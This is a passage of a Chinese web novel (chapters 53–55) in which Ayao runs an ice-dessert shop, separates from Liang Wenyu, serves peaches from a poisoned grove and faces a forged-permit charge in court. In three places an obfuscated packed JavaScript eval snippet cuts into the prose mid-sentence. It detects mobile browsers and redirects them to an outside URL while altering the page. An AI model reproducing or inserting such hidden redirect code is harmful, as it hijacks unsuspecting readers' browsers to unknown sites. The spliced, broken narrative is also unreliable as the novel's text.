“噢。”六爷不以为然,“玉龙手下人手脚不净,明日我要知道缘由。”他看似乎是在发怒,其实根本不在意。 句句推脱,字字未提何人作怪。 梁文宇低头似笑非笑,突然拿过空茶盏倒扣起来:“六爷,可不是如此做交易。” “梁兄以为,交易是如何,你我同是商人,道上的规矩该有的总要有。”六爷说话同时也将茶盏倒扣,“好心提醒你一句,替他人出头。”他眼神睨上梁文宇,点到为止真是恰当好处。 “算起来,六爷如今早已盆满锅满。”梁文宇说着话抬起头。 两人对话全然不当身旁有人。 六爷抬手捋顺袖子,将脚分开:“梁兄此话差异,若说是盆满锅满,应当是你才是,我只不过是个小卒。” 论汴梁一带商贩所收买的物件,能有几件不是出自梁家之手,外头有多少人巴结着要买他家物件,连门槛都够不着。 梁家是早年从商发家,因有着和朝堂人之间的关系,从前朝开始,生意做大做广之后就就已经发家致富有了底子。 渐渐得梁家由原先小门小户,变成大门大户的富贵人家,连着当地官员都要给上几分薄面。 梁文宇过着锦衣玉食的生活,家中人期盼他能考取功名改变梁家处于最低端商人的身份。 “六爷出身世族,你的身份和手段才是在下最为敬佩之处。”梁文宇毫不避讳两人,说出了六爷身份。 “你我既然是旧相识就不必过多谦虚。”六爷挑眉,“话说太满就有些过了。”他似乎对梁文宇有些不满。 两人虽相识可在生意场属于竞争关系,暗地里斗了多年,可即使这样,梁家在汴梁一带的地位始终无人撼动。 外头人不知其中门道,唯独今日算是见上了些。 朱玉龙和瞿罗坐在一旁大气都不敢出一下,两人暗地使眼色往后退了步,原本梁文宇过来,他们两是坐在六爷对面,直到梁文宇来后,两人站到六爷手边,此刻左右为难。 气氛降到极致,像是两股气在虚无中流动,暗中试探争斗许久。 僵持不下,两人各自退让一步,双方找了个台阶下,否则太过于难看。 梁文宇起身做揖:“今日多有叨扰,还请六爷莫要见怪。” “梁兄过来是劝诫再下,我又何理由责怪于你?”六爷上去虚扶一把。 送人离去,六爷交代了朱玉龙暂时压低冰价,他得知阿瑶在用硝石制冰,并未出手阻拦,反让瞿罗去东西两市的果摊走上一遭。 梁文宇受到阿瑶驱赶,他路过冰雪铺时只远远看上一眼,他们两人足足有一月未见,连着晚上特意踩着时间点过去都没碰上过阿瑶一次,就好像她刻意躲着他一般。 冰雪铺生意比之先前是少了些人了,可在口味上头花下心思去的唯一阿瑶一人,花楼如今是算将整条街的冰沙都控制住,能留出的人群里多数都是先前熟客。 他脚步忽然不听使唤,逐渐朝门口靠近,最终还是没能进去。 海氏端着沙冰出来碰巧看见了门口的梁文宇,两人都未说话,海氏知道梁文宇离去定是和阿瑶之间发生了什么,她看见他也是相当亲切,迎他进门。 铺子里头一个月功夫改变许多,多了很多绿植,甚至还有整盆蹲鸱,舒张这硕大的双叶,墙上还有看似童趣的丹青和稚嫩的文笔,布局显然同他离开前发生了巨大变化。 阿瑶这几日都没去铺子,她有时到州桥附近支摊子,有时候去制冰师傅那儿想着把冰质变得纯净一些,不过前日中暑昏倒在家,此时在家休息。 海氏把事情随口一说,梁文宇知晓后转身就朝外走,她站在屋内看着离去的少年,不经叹气。 或许阿瑶不知,许老大夫妇知道梁文宇曾偷偷看望过阿瑶不止一次两次,每次派人过来送礼都是他们两人代替收下,许多东西都不敢叫阿瑶知晓。 连着前几日说是她新做的衣裳都是梁文宇偷偷送过来的,海氏只能装作是她替人做衣,主人家送于的。 阿瑶连发两日烧,温度退去后海氏才安心出的门,她躺在榻上,身边木桶放着沾染稻草的杂冰,梁文宇推门进来,只当是她阿娘回来了,闭眼说到:“阿娘,我想喝你做的稀粥。” 她脸颊瘦弱了几份,没了少女该有的婴儿肥,脸颊两侧有些微微凹陷进去,抬起的手腕细了一圈,她本身骨架小,好不容易窜了个子,现在及时躺着都能瞧出来。 院子飘出饭香,阿瑶出来看到的却不是阿娘,而是前阵子被她赶走之人。 “你怎么过来了?”阿瑶语气虚弱,唇色略微发白,音调并没很大。 梁文宇盛出稀粥,他在里头放了肉沫和菜丝,端到木桌上示意阿瑶过去:“你身子才好,婶子说你有两日未吃东西,先过来吃上些。” “好。”她是真饿了,肚子里馋的慌。 阿瑶小口小口吃着,稀粥咸淡刚好连吃了两碗:“当初是我对你偏见太多,姣姣前几日来向我说明了。” “其实你出身很好,我们两人到底还是有些不着调。”阿瑶放下勺子,浅笑道。 梁文宇眼中是被他所克制的情感,墨色瞳孔内收缩起来:“阿瑶,靠近你并不是为了与舅父之间的赌约,是你身上真有能吸引到我的东西。” “当然或许是我出于对你的愧疚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786218|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之意,你我是否未曾料到会再次见面?”他接着又道。 因为此事,吴姣姣特意找上门来将所有进过同她说了。 吴家当年入仕与梁家是多年挚友,吴老爷子肯将女儿下家是看中对方为人,而梁家遵守诺言扶持吴家幼子入仕一路走来是梁家积累而来的万贯家财,只能说是各有各的好处,梁家在当时不过是个小门小户,能有官世之女下嫁已是光耀门楣一事,随着梁家生意越做越大,商人地位在当时一直处于末端,梁氏夫妇多年在外经商,便把幼子托付给了当官的吴县令。 许是看出舅父的为难,梁文宇幼年与现在变化极大,精通文宇的贵子变成了纨绔子弟。 “姣姣说的对,你应该入仕为官。”阿瑶劝解起来,“你可以成为很好的官。”这样梁文宇就能走上仕途去为百姓做更多事情,他本质还是一心为民的好人。 “官并不只是你说的那般好,还有许多你从未触及过的事情。”梁文宇平淡说着,语气里有几分无奈。 他见过太多会舅父的无能为力,让他因此对这条路失去了原本的赤子之心,反而被外人冠上纨绔子弟的头衔。 院子前放着许多水缸,大小不一有十几只,阿瑶唇色没先前苍白,红润了些,她过去将棉布一个个掀开看,竹筒里冰块都结成冰,拎起来窸窸窣窣的晃动着,阿瑶拿了个木桶装,倒入一定冰量之后她才会倒进冰桶中。 这样反复需要来回多次,梁文宇对于此事很上手,先前这些活都是由他来完成,顺手接过阿瑶手中物件后,梁文宇不辞辛劳担反复倾倒起来。 由于冰块凝结需要阴凉之处,许老大沿着院子搭了几根木桩,上头用稻草盖了几层,棚子下头的温度比外面稍微要低一些,偶尔还会再黄泥地外沿洒上水。 阿瑶说了两句话后,就没有多说,她站在棚子底下看梁文宇将碎冰倒入冰桶,因为她病了两日,身子虚弱无力,所以看了一会便又回去休息,离去前她还是不愿放弃让梁文宇去试一试。 一年一次的科考,照往年习惯都是在立秋之后。 梁文宇剩下不足两月时间,如今已是七月中旬,他是否能考上? 想着,阿瑶眼皮一重迷迷糊糊睡了过去,再次醒来,屋子里的冰被换上了新的,外头的声音惊动了她。 隔着木窗缝隙她看到梁文宇往缸中倒入硝石粉,他大汗淋漓,汗水染湿了他后背大片的衣衫,手边放着一个圆形铁桶,高度刚好到他小腿。 只见他将硝石用木棍搅匀后把注入井水的铁桶放进缸中,再盖上棉布。 她一眼就看出了梁文宇私自带过来的东西全用在这里,那些铁桶她从未订过,还有那硝石的粉质比她购买的也还有好上许多。 弄完一切,看着梁文宇出门的阿瑶都未出声说过一句话。 每个缸中都用铁桶替代了竹筒,底下还有未融化的硝石粉末,阿瑶不自觉笑了笑。 真是个呆子! 53. 分家后(三十) 自从梁文宇来过之后,阿瑶的心情似乎有了些改变,时常会独自一人想起两人之间的点点滴滴,可有时又抽离的飞快。 她心里果然还有他,注意到自己微微勾起的嘴角,阿瑶伸手将嘴角拉平,眼神中像是决定了某件事情般的坚定。 冰雪铺白天继续以许老大做菜为主,晚上则是买冰沙。 今日两个哥儿下学早,许老大带着一家人往祖宅赶,许老二要去海上了,一家子坐下来吃口团圆饭。 一旦出门,那可是有半年见不着一面,尤其是许陈氏最为舍不得他小儿,可一看许老爹脸色,脸上再难受都要挤出抹笑意来。 “老大,老大媳妇回来啦。”许老爹手里盘着阿瑶送的胡桃。 两个哥儿想念家中人的很,见到许老爹欢快的叫出声,他们最喜欢阿爷从海上带回来的螺,外壳艳丽,放在耳边还能听见海浪声。 “阿爹,等你出了海,也要像阿爷一样带很多很多的螺给我们。”余哥儿比小宇大九个月,他作为兄长,又是自己的阿爹自然说话便利。 许老二混账可待几个小的也算尽到叔伯本分,若说许陈氏重男轻女,许老二反而对阿瑶像自己闺女一般,吃食上头也颇为照顾。 只可惜阿瑶那不明事理的阿嬷总是无缘无故以为了她好的理由来填补那些欠下的巨款。 一家子落了座,上头难得有海货出现,听许陈氏念叨,说是船上伙计过来探望特意带过来的,起初别说吃了连见都未见过,好在许老爹务农回来,这才处理干净上桌。 那些东西长的奇形怪状,像是蟹脚,浑身绿中带黄,又像是鹅颈,外面由几十片壳板包裹的花序状。 几人还是头一次吃,可许老爹吃的轻车熟路,大伙效仿他模样一起吃起来,扒掉它下半部分的外皮,往酱油一蘸就能简单吸出来。 期间听许老爹说海船上许多人都这样吃,长年累月这些东西算是最便宜的,只要退潮后再礁石里就能挖到,那些人还送来几条身长最嘴尖的鱼过来,这道菜还是许老爹说给老大听做出来的菜。 起初味道很腥,煮熟后香味飘出来了就没有先前的腥味了,许老爹说了两种法子,都做了出来,用面粉裹上油炸的算一道,切断后红烧的也算一道。 外人送来的海鱼、海虾海蟹一大框,不过品相差上一些,可都是能吃的,许老爹原先不好意,对方见他再三推脱就塞到许陈氏手中,他们晚上才有海货吃。 “阿瑶,多吃些,你二伯之前那些事,往后就当过去了。”许陈氏突然释怀了,小儿马上就要出海上船了,她还有那些事放不下,家里欠下的银子都在老二签下契约时持平了。 她还有那些事放不下,往后只有日子过得越来越好。 许陈氏忽然的改变态度让阿瑶有一瞬间的不适应,她阿嬷向来对她爱答不理,如今居然破天荒说出了这番出来,她有些许受宠若惊。 “好。”阿瑶语调平平,听不出情绪。 “往前都是阿嬷做的不好,是我对不住你。”许陈氏回忆过往种种,“阿嬷那么做是想让你走的更远,去大户人家当丫头总比在这里好。” “阿嬷,我现在的身份岂不更好,一旦入了奴籍,往后就无法恢复平民身了。”阿瑶对阿嬷做的那些事情气过,可现在听她讲出来,话语里真有几分为她好的意思。 只是,许陈氏只想过让阿瑶去过好日子,可未想过入奴籍之后会如何! 往前怎么样,过去发生的种种她依旧记在脑中。 许陈氏点点头:“是是是,得亏你机灵逃了回来。”她还在夸奖,却没发现阿瑶早将目光挪开,扒拉碗里的几口粗米饭。 饭桌上回归宁静,每个人心中都有着心事,唯独两个哥儿吃的欢快。 一家子人吃完最后一口赶着时辰送许老二上船,那是搜小渔船,要从渔口开出去转到大船上头。 船桨波动水面,划破平静,小船随着波纹一点点朝远处而去,阿瑶平静的转过身看着身后被晚霞余晖染上红光的云朵,所有一切随着长叹一声消散。 用过膳食许老大带着一家人赶回铺子继续卖吃食,临行前他粘贴上的红纸被轻轻揭落,往外支起几张小桌。 阿瑶在人群中游走为所有食客点上他们喜欢的吃食,按照点满两百文习惯,阿瑶送出了碗蜜沙冰。 她想着有好多天未出过新品,就把黄豆粉撒谎在冰沙上,撒的满满当当一点都没露出冰块颜色,然后在上头堆上蜜豆和冷丸子,用冰水浸泡过后的冷丸子劲道十足,搭配沙冰是最好不过的。 就这样光是撒上黄豆粉,阿瑶就已经算是老款套新款,这样出来的沙冰口感带着豆子香味,黄豆粉炒制是经过处理没有豆腥味这才是沙冰的点缀之笔。 随着时间推拭,她对梁文宇的情感在逐渐从心底剥离出去,那些有关两人的点滴,有时候会在她拿起某样物件时突然冒出来,时刻提醒着他们之间无法忘怀的过去。 阿瑶原本以为自己对于梁文宇不过最为简单的盟友之情,结果她错了,她对他已经不算是普通之情,里面还夹杂了许多情绪。 有些甚至连阿瑶都无法述说出口,就像心尖滋生的细丝,将心紧紧包裹不留一丝空隙,只要她稍微动了那样的念头,心间猛然一缩,疼到她差点无法呼吸,浅浅搅动打乱她清醒思绪。 再迷茫和沉浸中反复挣扎,她总是在夜间一人时,清醒的落泪,泪珠抵在手背,让那疼痛越来越明显。 她知道这样是不对,可心中的压抑终于在某天爆发。 阿瑶的反常,许老大夫妇看在眼里,他们知道了梁文宇身份,去了衙门一趟,信是托哥儿们的教书先生所写,本来事情就颇为复杂,两人站在门口踌躇许久都不止该如何送进门去。 多亏是时长过来买冰的捕头认出两人,总算把信送到梁文宇手中。 人去是梁文宇正坐在书房同吴县令两人商讨案件及本朝历代状元考卷。 信送到梁文宇手中,他站在门口一目十行将信件看完,右手攥住的一角差点被他撕破,这居然是份绝笔信! 指尖随着用力开始颤抖,他面上平静,眼神中投射出来的光先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787432|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是绝望,随后自嘲的笑着,眼底漫的水花被他轻轻掩盖而过。 “舅父,侄儿出去一趟。”梁文宇向正前方道。 吴县令睨了眼:“去吧!是该将事情说明白。” 梁文宇出门后,脚步飞快,他脸色黑沉,府里下人都避着他。 待走到冰雪铺外时,阿瑶却未在,海氏告诉他说阿瑶近期心情不佳,时长回去渡口小坐。 他过去看到了那个将信说的如此决绝之人,就好像他们之间曾发生过的羁绊都是假的。 “你难道就没有什么想和我说。”梁文宇站在她身后。 阿瑶头抵在腿间,闭眼休息,听见熟悉声音,突然睁开眼,她不敢抬头更不敢直视梁文宇。 阿爹阿娘告诉她时,她并没看过信,只当时他们让梁文宇过来,后来从两个幼弟口中听闻是才知道那是份绝笔信,是要切断她与梁文宇之间的所有过去。 正因如此,阿瑶才会躲到此处来,暂时抛开所有烦恼。 可没想对方终究还是过来了。 阿瑶抬头:“就如你看到那般,我和你没有结果。”她说话时眼中失去了光,珍珠般的黑眸黯淡下去。 “哼。”梁文宇被气笑,“难道你我之间会被世俗所困扰?” 阿瑶身上原本有着不属于寻常女子的气势和思想,可现在她就像失去了灵气一般,叫人认不出她来。 “对,你我本就不是同一世界之人,入仕是你唯一的路,而我必须放下所有阻扰的一切,才能成就自己。”阿瑶站起身面对他,“我们从一开始便不是同一路人,当初多谢你多方相助。” “过河拆桥。”梁文宇道。 阿瑶顿时不知该反驳什么,可她的确如此。 梁文宇再上前一步,胸膛与阿瑶脸仅差一指,他说话时的热气洒在头顶:“你可知入仕并非是我所愿,直到遇见你,与舅父对赌前我只是抱着输定的想法,可你一次次面对困境,让我对女子有了新的看法。” “你身上有勇敢,胆大,还有股越挫越勇的气势。”他说时眼底都是满满的欣赏之意。 “多谢你夸奖,我不过是比其他人多些耐性。”阿瑶慢慢说着。 夏日里的雨季是说下就下,毫无征兆,两人都被突如其来的大雨淋湿,躲到屋檐下避雨。 梁文宇看着倾盆大雨:“阿瑶,我答应你入仕,往后我们就如信中说写,桥归桥,路归路。” "好。"她是笑着说的,头顶留下来的水滴掩盖了泪珠。 人走之后,她脸上从未消息笑容,泪水被雨水掩盖留进嘴中带着咸味。 这天之后她大病了一场,足足趟了三五日之久,人比原先还有消瘦了一圈,等阿瑶回归铺子,圆润小脸都只有个尖下巴。 休息的这几日晚上,阿瑶会去逛西市采购蔬果回来,她近期发现几颗桃子,还未用它做过沙冰,买回来当天她就做了碗试试。 桃子放久容易熟透,阿瑶扔经冰桶后稍微冻住一点,撕掉外衣用刨子消成薄片装饰。 于是,桃子沙冰便好了。 54. 分家后(三十一) 上新时破天荒卖出高价,外头食客爱吃稀奇古怪的东西,他们什么心思阿瑶最了解不过,同样,光推出沙冰还不够,她让许老大在夏日里多做了几碗姜奶。 顾名思义就是姜汁加上牛乳,冲调均匀之后可以变成凝固装,像是蒸蛋一样。 夏季炎热,可冰吃对了反而对身体不好,她特意叫许老大做出来按照十文一碗价格来。 不同与沙冰甜度,姜汁带有辛辣感加入放了少量饴糖的牛乳中,适当平和口感。 阿瑶本想把姜奶冷藏,以此来减轻姜所带去的刺激,可夏季现在正处于最为炎热的时候,最后没冷藏。 至于桃子口味,这款沙冰是不同以往几款,这款是直接将熟透的果子冻住保成细沙在添加入冰沙当中,上头点缀用其他过艳丽色果酱来进行,阿瑶在边上放两块月牙状的桃子果肉。 只是阿瑶病好回来时有些异样,就好像失去了原来的活力,脸上总有一种疲倦,不只是不知错觉。 连着好几日,许老大都瞧见阿瑶在做沙冰时出错,似乎心事很重。 自上次梁文宇出现,两人已有许久未见,他们两人当初不愿看着阿瑶难过,才想法子让人代笔写了份绝笔信,晓得梁文宇身份后夫妻两人都是不敢再有任何妄想,即使是当初对他有多少满意,都为此打消念头。 “阿瑶,你去休息,这里阿爹来弄。”许老大忙完手中煎炸,赶紧过来接受她手中物件,再这样下去都得把店给砸了。 他低头,手上这碗红烧肉上头不是绿葱,而是粘稠果酱,太阳穴忽然跳动起来,钻得脑子疼。 为此收手的阿瑶随意找了个地方坐,她趴在桌上,眼神呆滞,空洞的张望四周,像是被抽取灵魂的躯壳所残留的意识在人间回荡。 “她爹,你说咱们当初做的对吗?”小两个在她看来感情迫好,只可惜梁文宇非同一般,他那样的身份对他们而言高攀不起。 许老大长吁口气,瞟了阿瑶一眼,小声道:“如今对错莫辨了,分开也好,若是两人真如你我所瞧见那般,咋们使劲手段都阻碍不了。” “也是。”真如所见,两人情感深厚,产生误会就该当面说情,只是她阿瑶最近实在太怪异。 海氏端上吃食过去,她坐在阿瑶对面:“阿瑶,阿娘见你这几日心事重重,你要是愿意说出来无妨。” 她面前的阿瑶失去生气,身上仿佛笼罩着一股淡灰色光芒,整个人的活力正从她体内消散。 阿瑶微微抬头,调整枕手姿势,将脸颊朝向食客方向:“阿娘,我真没事,稍做休息便可,你和阿爹莫担心。” 视线落到吃冰食客身上,那碗冰是她休息前最后一晚,此刻上头残留着几粒葱花,偏巧被阿瑶瞧见,她猛然起身。 这已经不是阿瑶第一次出现失误,今日连着该有五六次了。 还好,许老大拿了碗冰沙过去替阿瑶担下,食客们本身脾性好,晓得店中忙这点小错细细说上几句作罢,因都是老客,送了点小吃食物过去安抚一二。 “阿瑶,这几日你还是留在家中好好休息,店里有阿娘和你阿爹在,眼下我能做冰了,口味都记全。”海氏不光是为了营生,反倒是瞧出了阿瑶心不在焉。 阿瑶倒是听话,在还是劝阻完之后就往店外走,去了西市逛,她最近这段时间能够发现的果子是越来越少,就连东市吴大娘那边去的都很少,甚至已经达到不去程度,她不知心中是何等想法,就想走走。 瞳孔的无神跟随了一路,远看就是个行尸走肉,耳边即便是有熟人叫声都被她给屏蔽在外,目光呆呆望向前面的路,脚下从未停留沿着河道从西市走到了城门外。 她甚至都不知自己是如何过的守城的士兵,等清醒过来已在人已在城门外。 城外是片绿林,两旁树木丛生充满朝气,散碎金光穿梭其中,不远处有一汪小池,那水清澈到可瞧见底下的圆润石块,阿瑶在树上看见几颗野桃。 长势很好,皮虽青可形如蜜桃般饱满鲜香,阿瑶顺低处枝干往上头爬,她先摘到低处的桃,这些头带一点红很适合保存几日。 她坐在高处往下望地面,远处绿草浓厚,从高处扔下去或许不会损坏,她手中随意扔了可,见桃在地面翻滚几下后停止,果子完整无损。 于是,阿瑶就开始爬上树去,她坐在最高处,一手揽着树枝一手摘桃望身上蹭了几下后直接开咬,果肉马上出汁,桃香浓郁萦绕鼻尖,鲜甜可口。 她所坐位置正好眺望到远处冰雪铺,铺子内进进出出得人许多,整条街的景色都被阿瑶一览无余,坐在树下纳凉,地下都是桃。 坐了许久阿瑶翻身下树,她心里有事,手上动作缓慢,结实落地后,她躺在草平上仰望大树,阳光照进眼中她下意识躲开,这里真的很容易让人遗忘那些伤心事。 可那日场景阿瑶始终无法忘怀,或许梁文宇已经赴京赶考了,来之前阿瑶手中没拿竹篮,她用衣角兜住桃子,装得满当回家。 棚底下的冰都已冻住,阿瑶先换冰之后,开始清洗桃,削皮切果再熬煮。 由于此刻正是晌午最热时,阿瑶都有些耐不住炎热,每一会儿功夫身上都湿漉漉了,汗水顺着发丝滴落,她坐到棚地下休息,这块是最凉快的。 静下来后,阿瑶打开布面拿棍子沿着外围搅拌一圈,帮助硝石快速降温。 熬煮好的果酱需要带到冰雪铺,阿瑶调整好心态后开始加入队伍,许老大夫妇明显有些忙不过来,冰也快见底,她来的真是时候。 阿瑶刻意调整制冰时间,这样每日两次冰,晌午前使用的冰块刚好能撑到午后,她送来的这波接上足已。 出现的桃子果酱,阿瑶在冰上放了铁盘倒进牛乳加上果酱翻炒起来,两款冰都同时出现新口味。 她心中惦记城外那些好果子,拿上竹篮出去摘了一筐回来,后来当食客面开始制作果酱,她挑出几颗熟透的果子剥皮后隔着小铁盆直接放进冰桶里。 时隔三五时辰,晚间温度下降,后面陆续进入铺中人越发多,时至今日阿瑶都还未将扩铺一事提上日程。 她想过办法在外面放好几张木桌专用来给食客吃冰,剩下屋内都归给吃热菜的食客。 “阿瑶手艺是越发好,今日吃的果子竟然比西市买的还要好,此等好物从何而来?”吃冰的食客是常来的散户,平日里都住在郊外。 阿瑶盛出炒酸奶:“城门外有片林子,那有几颗果树,偶然发现。” “你是说城门外那片林子?”他问道。 “嗯。”阿瑶点头表示。 发话人叫庄行,他常年为镇上富贵人家看庄子,他额角地垂,蹙起眉头:“阿瑶,外面那片林子被撒了药,可千万别去。” 福云县地属沿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807385|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海,这一代时而会出现山匪,那些人野蛮无礼靠抢夺为生,占据山头自称为王,而阿瑶去的那片林子是经由县令同意特意撒上药想将人一锅端。 凡是出了城门的物件和东西全都被山匪划入自己门下,算是他们的私有之物。 “遭了,你们都吃了加入果子的冰沙。”阿瑶惊呼起来。 庄行挥手道:“无事,果子剂量小,还没几日多喝些清水就能缓解,你这些果酱可要处理好,莫让人误食。” “多谢阿哥。”阿瑶在罐子外面贴上了红纸密封起来。 “还有,若是无事少出城,在过段时日那些山匪该下山劫物了,你这样的小娘子被掳走可回不来了。”庄行神态严肃道。 他告诫阿瑶少出去走动,最近城外不太安全,城门口驻扎的将士比前几日明显要多了几个,连外边城楼上都站了两个哨兵值守。 可见事态严峻,这些山匪杀人无数,劫持的物件不计其数,掳走庄子许多姑娘,没过几日就会多具尸体在门外。 送走人,阿瑶还特意送了包吃食给庄行回去路上吃,他住的远,常年在庄子生活,什么事没见过。 至于被做上记号的果酱罐子,阿瑶把它藏在柜子最里边,还和爹娘都说了嘴,果树吸收药水需要时日,她使用的果酱并没带去多大的伤害, 吃过的食客都未有任何不适现象发生,她才单子大了点,剩下的是无法在使用,就打消了念头。 趁着闲暇时刻去西市采购桃子回来,她又做了一批来,接上先前食客提前订下的沙冰,做好连忙亲自给人送去。 她所站位置是粱府门前,阿瑶捏着纸条对着上头户牌看了又看。 门口走下一人,他身穿锦白长衫,头戴银冠,面目俊朗,许是时常未见,阿瑶一眼便看出他消瘦许多。 “阿瑶。”梁文宇眼中含笑,却把阿瑶一眼扫视完,她瘦了很多。 梁文宇脸上沾染笑意,可两人眼中都很平静,就像许久未见的友人一般。 她不知该如何回答,手中捏着冰沙竹篮往里缩了缩:“粱公子。” 过分见外的称呼让梁文宇脸上笑意有几分挂不住,“你我几日未见竟如生人一般。” “您下次要吃冰,派下人出来取便是,何故劳烦您亲自出来。”阿瑶指尖紧紧攥住竹篮,指甲都快抠进缝隙里。 “我想这样能见你一面。”梁文宇答应阿瑶入仕,可没答应她不见一面。 他苦读多日,劝自己一遍又一遍,像要得了相思病般茶不思饭不想,除去每日书房刻苦读书外,这一面成了奢望。 “你,瘦了许多。”阿瑶不知他们两人会是同样状态。 梁文宇收起笑容,往前走了步,两人已是面对面:“你也瘦了,家中人可还好。” 阿瑶望向他眼中:“他们都很好,两个哥儿在学堂得了夫子夸奖,多亏你每日为他们辅导功课,他们俩吵着要见你,我没法只好随便找个借口搪塞。” “改日得空我会去见他们。”梁文宇怕阿瑶为难。 她果断拒绝:“不必,他们太吵,会扰到你学习。”语气又柔了些,“还有其他地方要送,我先回去了,免得冰化。”她找了借口离开,转身时眼角红红的。 阿瑶内心很煎熬,她明已忘怀可还是会在见到他时,内心焦作… 她很想快速逃离此地。 55. 分家后(三十二) 夏日天色黑的慢,临近戌时外边天还明亮着。 铺内需点上数根红烛,每桌上头都有红芯跳动,晃得阿瑶眼前一黑,她闭上眼眯了会儿才好。 冰桶中冻住的桃用刨子擦出细条状沿着碗边摆一圈,最后用小刀划下靠近果核部分果肉,切成丁堆在沙冰上头。 一下送出两碗,之后阿瑶准备为其他食客制作炒酸奶,午后备下的两桶冰眼下已不多,若要撑一撑还是可行的。 至于冰卖完后,阿瑶就需去西市采购鲜果,最近几日果酱用的快能够做出几碗算是不错。 不光果酱还有糖浆,天热麦粒发芽速度快,可还会存在不少烂芽,需要阿瑶一个个挑拣出来,夜色暗,她借住烛火筛选完是半个时辰之后。 提炼麦芽糖是最为复杂一道工序,比果酱还要难上许多。 看到灶头摆放着几颗采摘回来的桃,阿瑶回过神来,她留在冰桶中的两颗桃都被她拿出去做给食客吃了… 庄行说的那些话她记在心里头,撒药时间段,何况不全是桃,冰融化后还是水做的,想着这些她心渐渐松了下来。 单单是她这次粗心大意,隔日一早还未开张铺子门前就站了人,一来就见着她说。 “昨日吃了你做的东西,回去是翻来覆去怎么都睡不自在,浑身奇痒无比,定是你给我吃了什么毒药!” “您昨日吃的沙冰大伙也都有吃,这怎么唯独你一人有事,旁人却无?”她说的话一下止住了对方地喋喋不休。 那样子哪算是正常人,可人家就是脑子清醒着,硬要阿瑶赔他诊费。 “事已至此,你必须赔我药费!”他看了大夫要话上好几百文,这钱就该阿瑶出。 她反问道:“若我不赔呢?” “我定要将你告上公堂,让大伙都瞧瞧你这清丽外表之下,是何等的嘴脸。”他似被逼急了。 阿瑶先是请了大夫过来,后又经过简单判断,一下便知其中源头,此人多半是吃不得桃子。 此人连那大夫说三遍的话都不愿听,真是倔强极了。 阿瑶实在没法赔了人药费还跟大伙儿讲明事情经过,外面人劝着,拿了药费就走,看架势像故意讹阿瑶一样。 这事仅是个开头,没过一会儿功夫她被人暗地里捅了刀,有人背着她将她告到了官府,理由竟是文书假冒。 说来可笑,当初租下铺子时可是和官牙子正儿八经签到契书,说她文书有假,阿瑶才不相信。闹到公堂都是她扳回一局。 她被宣召去府衙与人当面对峙,和她对峙之人正是白天料想敲诈她一笔之人。 白日发生经过吴县令通过廖师爷嘴中知晓一二,拍板叫令。 那人字字句句都透出阿瑶欺骗之势,说什么文书造假,有违常理,是个不折不扣的奸商,踩着他人性命。 这些话阿瑶听的气涌心头要与人争执,可想到她如今身处官府,当即跪下道:“大人此人居心叵测,今日从我手中诓走五百文,我自认倒霉,文书确确实实是与官牙过了明面一事。” 官牙子常年为官府办事,廖师爷早在来之前便已查探清楚,他与吴县令两人对视一眼,只听对方道:“文书可否带来?” 阿瑶从腰间荷包掏出,双手递上:“大人请看。” 廖师爷呈到吴县令手边时,锐眼划过起草字迹与印章,他微点头回应。 “本官来前询问过,府内存有文书一张,字迹官印都属实,你还有什么话想问本官。”吴县令命人将文书拿下去让人过目。 捕头撑着文书在那人面前经过,上头的官印为官府所有,绿底为证,做不了假。 “分明有假,定是两人串通一气。”他反咬一口起来,“既然铺子文书是真,那摊子文书必然造假。” 都快时陈年烂谷子的事儿了,还被人给翻出来,阿瑶耻笑一声:“你说摊子文书造假,此事是真。” 那人如见希望,还未等阿瑶说完下一句,此人开口道:“大人这可是亲耳听见,您必要为小人做主。” “只是,摊子一事早在两月前重新签字画押,你不信,可让大人找官牙子过来问话。”阿瑶是半分没想到,眼前这人愿给自个使绊子。 她是故意吊着人家上勾了,浅浅打个明眼就自愿转上门来的人可还真是少见,竟不知说他是蠢还是傻好。 阿瑶准备充分而来,她虽未明对方何意,果子一事并非有意为之,却还要再上纠缠,显然是惹恼了她。 好再带了新置办的文书过来,她递上去供吴县令查看,上头的官印墨迹都还新着,保存妥帖无一丝褶皱。 官府发放的文书比市面上所有纸张都要特殊许多,是有专人供应外头造不了假,即便造假只要一模一看便知。 廖师爷一拿到手时,面色闪过异样,他望了吴县令一眼,将东西摊到他面前,上面官印是以绿为底,可同上一张对比显然有所不同,印底颜色过淡比上头还要糊上几分,连着底下小字中都出现错字。 最大面是纸张过于发黄发暗,与官府所有差距太大,这让吴县令小叹一声:“阿瑶姑娘,文书是假!” 阿瑶眸子中微楞,眉心皱起,脸带困惑:“大人可否请官牙子过来当面对峙。” 文书是假的确未料,她与官牙子签字画押时并未有第三人在场,局势不利。 